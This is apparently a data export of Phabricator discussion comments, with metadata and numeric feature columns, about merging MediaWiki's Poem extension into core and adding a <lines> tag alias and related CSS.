Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering day-one sure hasn't helped matters.

I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through //line// itself could dramatically cut down on stuff like that.",,,1420453542,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,0.6,0.2,0.0,0.4,0.8,5.0,1.4,0.2,0.0,0.2,2.2,2.6,0.0,0.4,0.4,1.2,0.2,7.6,15.0,0.2,2.2,0.4,0.2,0.2,0.6,0.4,0.0,0.4,0.4,1.2,0.0,4.6,1.2,2.6,0.0,0.4,0.0,0.0,0.4,0.2,0.2,0.4,0.6,2.0,0.0,0.6,0.2,0.6,0.2,15.0,0.8,0.6,0.0,1.0,0.0,0.4,0.0,0.6,0.2,0.2,0.2,1.2,0.2,0.0,0.4,0.6,0.2,7.0,2.6,6.0,1.8,1.4,9.0,0.0,0.0,0.0,0.0,4.2,0.8,0.4,0.0,4.6,15.0,2.4,0.4,0.0,0.0,4.6,0.0,1.4,1.2,0.4,1.4,1.0,0.4,1.4,4.007278835386338,0.7621500559910415,"QUOTE
Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
</sarcasm off>

Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.

Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's CODE effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering day-one sure hasn't helped matters.

I implore you to mirror CODEs definition of CODE rather than the one(s) found in CODE -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that CODE//em// less between the two definitions in //margin-top// is hard to catch initially... until the CODEem CODE setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.

The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through //line// itself could dramatically cut down on stuff like that."
393913,Merge Poem extension into MediaWiki core,"Change 106861 had a related patch set uploaded (by TTO):
Merge Poem extension into core

[[https://gerrit.wikimedia.org/r/106861]]

#patch-for-review",,,1419905484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,78,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.8387096774193549,"Change 106861 had a related patch set uploaded (by TTO):
Merge Poem extension into core

[[GERRIT_URL]]

#patch-for-review"
237480,Merge Poem extension into MediaWiki core,"(In reply to comment #42)
> (In reply to comment #38)
>> A Global Message Delivery to all Wikisource Scriptoriums/Village pump is
>> higly recommended
> 
> MZMcBride, could you advise how feasible this would be?

I think a mention in [[m:Tech/News]] is sufficient here. Nothing is breaking, as I understand it, so this news is purely informational: ""In addition to <poem>, you can also now use <some other tag name>.""

If you really want to send a global message, you can use [[m:MassMessage]].",,,1406091878,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,1.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,15.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,6.0,8.0,7.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,8.0,3.0,0.6145833333333334,"(In reply to comment #42)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think a mention in [[m:Tech/News]] is sufficient here. Nothing is breaking, as I understand it, so this news is purely informational: ""In addition to <poem>, you can also now use <some other tag name>.""

If you really want to send a global message, you can use [[m:MassMessage]]."
237470,Merge Poem extension into MediaWiki core,"(In reply to James Forrester from comment #49)
> I don't particularly mind it being merged into core from an ""editing"" POV,
> but it is ""yet another feature"" in MediaWiki core which we're meant to be
> making leaner, faster and more flexible, which this roughly feels like it
> goes against.
> 
> The Parsoid-land changes aren't too hard to handle, I believe, so that
> shouldn't block this.

It's also another one of those features that will come in at least slightly handy on almost every wiki, though. It's deployed on a significant percentage of wikis, and on those on which it isn't deployed, the users probably wish it were deployed when they run into situations that call for its use. https://wikiapiary.com/wiki/Extension:Poem

Admittedly, it's not as important as, say, ParserFunctions or Cite (both of which should probably be merged to the core, by the way). But it's not very harmful, either.",,,1406061505,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,0.5,0.0,1.0,2.5,2.5,2.5,0.0,0.0,0.5,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,11.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.0,5.5,0.0,4.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,3.0,2.5,10.0,1.0,2.0,7.0,0.0,0.0,0.0,0.5,1.5,1.0,1.0,0.0,5.5,10.0,5.5,0.0,0.0,0.0,5.5,0.0,3.5,0.5,0.0,0.0,0.0,0.5,0.0,3.6745192307692305,0.7211538461538461,"(In reply to James Forrester from comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's also another one of those features that will come in at least slightly handy on almost every wiki, though. It's deployed on a significant percentage of wikis, and on those on which it isn't deployed, the users probably wish it were deployed when they run into situations that call for its use. URL

Admittedly, it's not as important as, say, ParserFunctions or Cite (both of which should probably be merged to the core, by the way). But it's not very harmful, either."
237458,Merge Poem extension into MediaWiki core,"(In reply to Kunal Mehta (Legoktm) from comment #48)
> (In reply to Tpt from comment #45)
> > Yes, you have right with ""mw-lines"".
> > 
> > I understand your concern with differing functionality that would require
> > two buttons in the editing interface (it's the major concern I see). I think
> > we should have feedback from the VisualEditor team.
> 
> James, do you/your team have an opinion?

I don't particularly mind it being merged into core from an ""editing"" POV, but it is ""yet another feature"" in MediaWiki core which we're meant to be making leaner, faster and more flexible, which this roughly feels like it goes against.

The Parsoid-land changes aren't too hard to handle, I believe, so that shouldn't block this.",,,1406060775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.5,2.5,4.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,0.0,2.5,0.0,7.5,8.5,0.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,1.5,3.0,11.0,1.0,1.5,7.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,4.5,8.5,6.0,0.0,2.5,0.0,4.5,0.0,2.0,0.5,0.0,1.0,3.0,0.0,0.0,3.527394775036284,0.7343976777939042,"(In reply to Kunal Mehta (Legoktm) from comment #48)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't particularly mind it being merged into core from an ""editing"" POV, but it is ""yet another feature"" in MediaWiki core which we're meant to be making leaner, faster and more flexible, which this roughly feels like it goes against.

The Parsoid-land changes aren't too hard to handle, I believe, so that shouldn't block this."
237448,Merge Poem extension into MediaWiki core,"(In reply to Tpt from comment #45)
> Yes, you have right with ""mw-lines"".
> 
> I understand your concern with differing functionality that would require
> two buttons in the editing interface (it's the major concern I see). I think
> we should have feedback from the VisualEditor team.

James, do you/your team have an opinion?",,,1406017589,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,9.0,16.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.75,"(In reply to Tpt from comment #45)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

James, do you/your team have an opinion?"
237440,Merge Poem extension into MediaWiki core,"Change 106861 restored by Legoktm:
Merge Poem extension into core

Reason:
I think this is a valuable changeset that should be pursued.

https://gerrit.wikimedia.org/r/106861",,,1406016597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,23.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,17.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.3,0.9,"Change 106861 restored by Legoktm:
Merge Poem extension into core

Reason:
I think this is a valuable changeset that should be pursued.

GERRIT_URL"
237435,Merge Poem extension into MediaWiki core,"Change 106861 abandoned by Krinkle:
Merge Poem extension into core

Reason:
Closing for now to clear pending review dashboard. Feel free to re-open when you can work on it.

https://gerrit.wikimedia.org/r/106861",,,1405886331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,5.0,18.0,12.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.975,0.875,"Change 106861 abandoned by Krinkle:
Merge Poem extension into core

Reason:
Closing for now to clear pending review dashboard. Feel free to re-open when you can work on it.

GERRIT_URL"
237431,Merge Poem extension into MediaWiki core,"Yes, you have right with ""mw-lines"".

I understand your concern with differing functionality that would require two buttons in the editing interface (it's the major concern I see). I think we should have feedback from the VisualEditor team.",,,1392368977,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,6.0,2.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,14.0,8.0,2.0,0.0,4.0,0.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.08,0.8,"Yes, you have right with ""mw-lines"".

I understand your concern with differing functionality that would require two buttons in the editing interface (it's the major concern I see). I think we should have feedback from the VisualEditor team."
237428,Merge Poem extension into MediaWiki core,"That's a very good suggestion, Tpt. I would be inclined to call the CSS class something more like ""mw-lines"" or similar, to comply with modern class naming standards.

However I wonder if it is really a good idea to provide differing functionality, however minor, between <poem> and <lines>?",,,1392368471,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.0,2.0,2.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,11.0,3.0,2.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,3.769230769230769,0.7846153846153846,"That's a very good suggestion, Tpt. I would be inclined to call the CSS class something more like ""mw-lines"" or similar, to comply with modern class naming standards.

However I wonder if it is really a good idea to provide differing functionality, however minor, between <poem> and <lines>?"
237425,Merge Poem extension into MediaWiki core,"As I believe that <poem> tag will be kept as an alias forever, it may be interesting to make <poem> and <lines> semantic a little bit different:
- <lines> would be presentational only and the output will have the ""lines"" class as in <pre class=""lines"">
- <poem> has the same presentational effect as <lines> but use the ""poem"" class to specify that the content is a poem as in <pre class=""lines poem"">

It won't break sites CSS because the current pages only use the poem tags. If wikis wants to use their custom CSS for <poem> tag with all <lines> tags, they will only have to change ""poem"" by ""lines"" in their rules.",,,1392367071,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.5,0.0,0.0,0.5,0.5,3.5,1.5,0.5,0.0,0.5,4.5,0.5,0.0,2.0,0.0,0.5,0.0,3.5,11.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,17.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.5,2.5,1.5,6.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.0,11.5,5.0,0.0,6.0,0.0,4.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,8.5,3.348684210526316,0.611842105263158,"As I believe that <poem> tag will be kept as an alias forever, it may be interesting to make <poem> and <lines> semantic a little bit different:
- <lines> would be presentational only and the output will have the ""lines"" class as in <pre class=""lines"">
- <poem> has the same presentational effect as <lines> but use the ""poem"" class to specify that the content is a poem as in <pre class=""lines poem"">

It won't break sites CSS because the current pages only use the poem tags. If wikis wants to use their custom CSS for <poem> tag with all <lines> tags, they will only have to change ""poem"" by ""lines"" in their rules."
237421,Merge Poem extension into MediaWiki core,"(In reply to comment #37)
> (In reply to comment #31)
> > 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
> > publicize the new <lines> name before it gets committed.  
> > A mailing list thread might be a good way to
> > kick off this discussion.
> 
> I'll post one.

http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074337.html

No replies, so I assume no-one is concerned.

(In reply to comment #38)
> A Global Message Delivery to all Wikisource Scriptoriums/Village pump is
> higly recommended

MZMcBride, could you advise how feasible this would be?",,,1392363249,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,6.0,13.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0806451612903225,0.5645161290322581,"(In reply to comment #37)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL

No replies, so I assume no-one is concerned.

(In reply to comment #38)
QUOTE
QUOTE

MZMcBride, could you advise how feasible this would be?"
237417,Merge Poem extension into MediaWiki core,"(In reply to comment #40)
> The <poem/> tag usage on texts that does not contains poems, only the need to
> parse line breaks in a different behaviour, isn't the feature itself provided
> by the extension, only a very interesting side effect.

Please read the preceding comments in this bug report. The reason why this tag is going to be made available under the name <lines> is to emphasise that is not only used for poems, but for other texts that require the preservation of line breaks. This is not merely a ""side effect"", but the key feature of this tag.

> IMHO before merging Extension:Poem into core it firstly needs to addresses
> all
> expected behaviours in their original expected feature,

A merge of an extension into core, means taking the extension's existing functionality, and placing it in MediaWiki core. It does not mean we add extra features at the same time.

The Poem extension only provides poem-related (line break preservation) functionality, so that is all that core is getting in this merge. This is not the place to discuss other ""original expected features"".",,,1392079227,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.5,0.0,0.0,1.0,2.0,4.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,0.5,0.0,4.5,9.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,1.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.0,17.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.5,6.5,4.5,9.0,1.0,1.5,11.5,0.0,0.0,0.0,0.5,3.0,0.5,0.5,0.0,2.0,9.0,2.5,0.0,2.0,0.0,2.0,0.0,1.5,1.5,0.0,3.5,0.0,0.0,0.5,3.833333333333333,0.7083333333333333,"(In reply to comment #40)
QUOTE
QUOTE
QUOTE

Please read the preceding comments in this bug report. The reason why this tag is going to be made available under the name <lines> is to emphasise that is not only used for poems, but for other texts that require the preservation of line breaks. This is not merely a ""side effect"", but the key feature of this tag.

QUOTE
QUOTE
QUOTE

A merge of an extension into core, means taking the extension's existing functionality, and placing it in MediaWiki core. It does not mean we add extra features at the same time.

The Poem extension only provides poem-related (line break preservation) functionality, so that is all that core is getting in this merge. This is not the place to discuss other ""original expected features""."
237412,Merge Poem extension into MediaWiki core,"The <poem/> tag usage on texts that does not contains poems, only the need to parse line breaks in a different behaviour, isn't the feature itself provided by the extension, only a very interesting side effect.

It looks to me like in very old MediaWiki versions without file undeletion support: media deletion at that time resulted in less disk space being used. But that aren't the feature, only a side effect.

IMHO before merging Extension:Poem into core it firstly needs to addresses all expected behaviours in their original expected feature, ie to provide quickly and in easy ways alternatives to format text portions based in a given form of language.",,,1392077997,,PHID-USER-gu24fgh5wu7isjb4g5b7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1.0,0.0,1.0,1.0,2.0,4.0,1.5,0.0,0.0,0.0,4.0,1.5,0.0,2.0,0.0,0.5,0.0,6.0,12.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,20.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.5,2.0,4.5,0.0,1.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,3.0,12.5,0.5,0.0,0.0,0.0,3.0,0.0,0.5,2.5,1.0,1.0,1.0,0.0,1.5,4.3125,0.8359375,"The <poem/> tag usage on texts that does not contains poems, only the need to parse line breaks in a different behaviour, isn't the feature itself provided by the extension, only a very interesting side effect.

It looks to me like in very old MediaWiki versions without file undeletion support: media deletion at that time resulted in less disk space being used. But that aren't the feature, only a side effect.

IMHO before merging Extension:Poem into core it firstly needs to addresses all expected behaviours in their original expected feature, ie to provide quickly and in easy ways alternatives to format text portions based in a given form of language."
237407,Merge Poem extension into MediaWiki core,"(In reply to comment #38)
> In the time that <poem/> tag arised on Wikisources, we have also asked for a
> <prose/> tag (See bug 6810).

That is an entirely separate issue. The presence or absence of a <prose> tag is not going to affect the resolution of this bug.

> As you can see on [3] and [4], the formatting isn't the same currently
> adopted
> in <poem/> tag, so the current consensus to set <poem/> as an alias for a new
> tag name isn't viable.

I don't understand your point here. What has this got to do with the <poem> tag?",,,1392076482,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,15.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,3.0,10.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,3.2535211267605635,0.676056338028169,"(In reply to comment #38)
QUOTE
QUOTE

That is an entirely separate issue. The presence or absence of a <prose> tag is not going to affect the resolution of this bug.

QUOTE
QUOTE
QUOTE
QUOTE

I don't understand your point here. What has this got to do with the <poem> tag?"
237399,Merge Poem extension into MediaWiki core,"A Global Message Delivery to all Wikisource Scriptoriums/Village pump is higly recommended, since this extension was firtly developed to Wikisource wikis and latter enabled on all Wikimedia wikis [1] [2].

In the time that <poem/> tag arised on Wikisources, we have also asked for a <prose/> tag (See bug 6810).

Unfortunately at that time the developers picked what was most easy to then instead of what is more user intuitive (sorry, but <poem>foo</poem> and {{prose start}}foo{{prose end}} don't makes sense to newcomers (#c6).

As you can see on [3] and [4], the formatting isn't the same currently adopted in <poem/> tag, so the current consensus to set <poem/> as an alias for a new tag name isn't viable.

[1] - https://wikitech.wikimedia.org/wiki/Server_admin_log/Archive_7#June_23

[2] - https://wikitech.wikimedia.org/wiki/Server_admin_log/Archive_10#February_7

[3] - https://en.wikisource.org/wiki/Template:Prose

[4] - https://fr.wikisource.org/w/index.php?title=MediaWiki:Common.css (classe prose : PERIMÉE, utiliser text )

[[:m:User:555]]",,,1392048878,,PHID-USER-gu24fgh5wu7isjb4g5b7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,4.0,1.3333333333333333,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,7.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.0,7.666666666666667,1.0,1.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,4.333333333333333,0.0,0.6666666666666666,7.0,5.666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,10.333333333333334,3.3162830349531114,0.7470161977834612,"A Global Message Delivery to all Wikisource Scriptoriums/Village pump is higly recommended, since this extension was firtly developed to Wikisource wikis and latter enabled on all Wikimedia wikis [1] [2].

In the time that <poem/> tag arised on Wikisources, we have also asked for a <prose/> tag (See bug 6810).

Unfortunately at that time the developers picked what was most easy to then instead of what is more user intuitive (sorry, but <poem>foo</poem> and {{prose start}}foo{{prose end}} don't makes sense to newcomers (#c6).

As you can see on [3] and [4], the formatting isn't the same currently adopted in <poem/> tag, so the current consensus to set <poem/> as an alias for a new tag name isn't viable.

[1] - URL

[2] - URL

[3] - URL

[4] - URL (classe prose : PERIMÉE, utiliser text )

[[:m:User:555]]"
237391,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
> 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
> publicize the new <lines> name before it gets committed.  
> A mailing list thread might be a good way to
> kick off this discussion.

I'll post one.

> 2) In the comments on the patch, '----' was brought up as the last remaining
> way that the current <lines> implementation differs from 'indent-pre'
> handling.
>  I'd like to resolve this discrepancy: I really really *really* don't want to
> complicate the parser more with Yet Another Slightly Different Way to handle
> preformatted content.

Let me expand a bit here: <poem> is designed for the treatment of poetry. I don't know what indent-pre was designed for, but one assumes it was intended for general-purpose, preformatted text, such as command line outputs and plain-text tables. The two use-cases are somewhat different.

I went through and found the following differences. There are probably many others.

* For some reason, indent-pre doesn't handle ----. Presumably this is so
  preformatted tables, etc (e.g. those copied out of the MySQL monitor)
  still appear correctly. This consideration is not relevant for <poem> and
  so ---- is parsed inside these tags. Indeed, ---- within <poem> is quite
  common at Wikisource.

* Indents using : are ignored within indent-pre (presumably because they
